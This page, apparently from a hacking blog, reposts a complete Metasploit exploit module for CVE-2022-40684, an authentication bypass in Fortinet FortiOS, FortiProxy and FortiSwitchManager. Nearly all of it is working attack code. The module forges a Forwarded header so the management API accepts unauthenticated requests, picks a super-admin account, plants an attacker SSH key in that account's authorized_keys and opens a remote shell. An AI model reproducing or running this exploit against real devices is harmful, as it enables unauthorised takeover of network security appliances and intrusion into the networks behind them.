Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86381229

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Fortinet FortiOS, FortiProxy, and FortiSwitchManager 7.2.0 - Authentication bypass
# Date: 2022-10-10
# Exploit Author: Zach Hanley, SC
# Vendor Homepage: https://www.fortinet.com
# Version: 7.0.0
# Tested on: Linux
# CVE : CVE-2022-40684


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH
  prepend Msf::Exploit::Remote::AutoCheck

  attr_accessor :ssh_socket
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability
          in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API
          to gain access to a chosen account. And then add a SSH key to the
          authorized_keys file of the chosen account, allowing
          to login to the system with the chosen account.

          Successful exploitation results in remote code execution.
        },
        'Author' => [
          'Heyder Andrade <@HeyderAndrade>', # Metasploit module
          'Zach Hanley <@hacks_zach>', # PoC
        ],
        'References' => [
          ['CVE', '2022-40684'],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'],
          ['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'],
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-10-10', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [
            'FortiOS',
            {
              'DefaultOptions' => {
                'PAYLOAD' => 'generic/ssh/interact'
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'ssh_interact'
                }
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']),
        OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]),
        OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]),
        OptString.new('KEY_PASS', [false, 'SSH private key password', nil]),
        OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]),
        OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true])
      ]
    )
  end


  def username
    if datastore['USERNAME']
      @username ||= datastore['USERNAME']
    else
      @username ||= detect_username
    end
  end

  def ssh_rport
    datastore['SSH_RPORT']
  end

  def current_keys
    @current_keys ||= read_keys
  end

  def ssh_keygen
    # ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`
    if datastore['PRIVATE_KEY']
      @ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key(
        File.read(datastore['PRIVATE_KEY']),
        datastore['KEY_PASS'],
        datastore['PRIVATE_KEY']
      )
    else
      @ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1')
    end
  end

  def ssh_private_key
    ssh_keygen.to_pem
  end

  def ssh_pubkey
    Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
  end

  def authorized_keys
    pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
    "#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost"
  end

  def fortinet_request(params = {})
    send_request_cgi(
      {
        'ctype' => 'application/json',
        'agent' => 'Report Runner',
        'headers' => {
          'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\""
        }
      }.merge(params)
    )
  end

  def check
    vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
    # a normal request to the API should return a 401
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
      'ctype' => 'application/json'
    })

    return CheckCode::Unknown('Target did not respond to check.') unless res
    return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401

    # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable
    res = fortinet_request({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/status')
    })

    return CheckCode::Safe unless res&.code == 200

    version = res.get_json_document['version']

    print_good("Target is running the version #{version}, which is vulnerable.")

    Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }

    CheckCode::Vulnerable('And SSH is running which makes it exploitable.')
  end

  def cleanup
    return unless ssh_socket

    # it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method
    data = {
      "ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""'
    }

    fortinet_request({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
      'data' => data.to_json
    })
  end

  def detect_username
    vprint_status('User auto-detection...')
    res = fortinet_request(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/admin')
    )
    users = res.get_json_document['results'].collect { |e| e['name'] if (e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0') }.compact
    # we prefer to use admin, but if it doesn't exist we chose a random one.
    if datastore['PREFER_ADMIN']
      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.")
      users.include?('admin') ? 'admin' : users.sample
    else
      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.")
      (users - ['admin']).sample
    end
  end

  def add_ssh_key
    if current_keys.include?(authorized_keys)
      # then we'll remove that on cleanup
      print_good('Your key is already in the authorized_keys file')
      return
    end
    vprint_status('Adding SSH key to authorized_keys file')
    # Adding the SSH key as the last entry in the authorized_keys file
    keystoadd = current_keys.first(2) + [authorized_keys]
    data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h

    res = fortinet_request({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
      'data' => data.to_json
    })
    fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500
    body = res.get_json_document
    fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/
  end

  def read_keys
    vprint_status('Reading SSH key from authorized_keys file')
    res = fortinet_request({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/admin/', username)
    })
    fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200
    result = res.get_json_document['results'].first
    ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key|
      result[key].gsub('"', '') unless result[key].empty?
    end.compact
  end

  def do_login(ssh_options)
    # ensure we don't have a stale socket hanging around
    ssh_options[:proxy].proxies = nil if ssh_options[:proxy]
    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        self.ssh_socket = Net::SSH.start(rhost, username, ssh_options)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, 'Failed authentication')
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
  end

  def exploit
    print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}")
    add_ssh_key
    vprint_status('Establishing SSH connection')
    ssh_options = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      key_data: [ ssh_private_key ],
      port: ssh_rport
    })
    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    do_login(ssh_options)

    handler(ssh_socket)
  end
end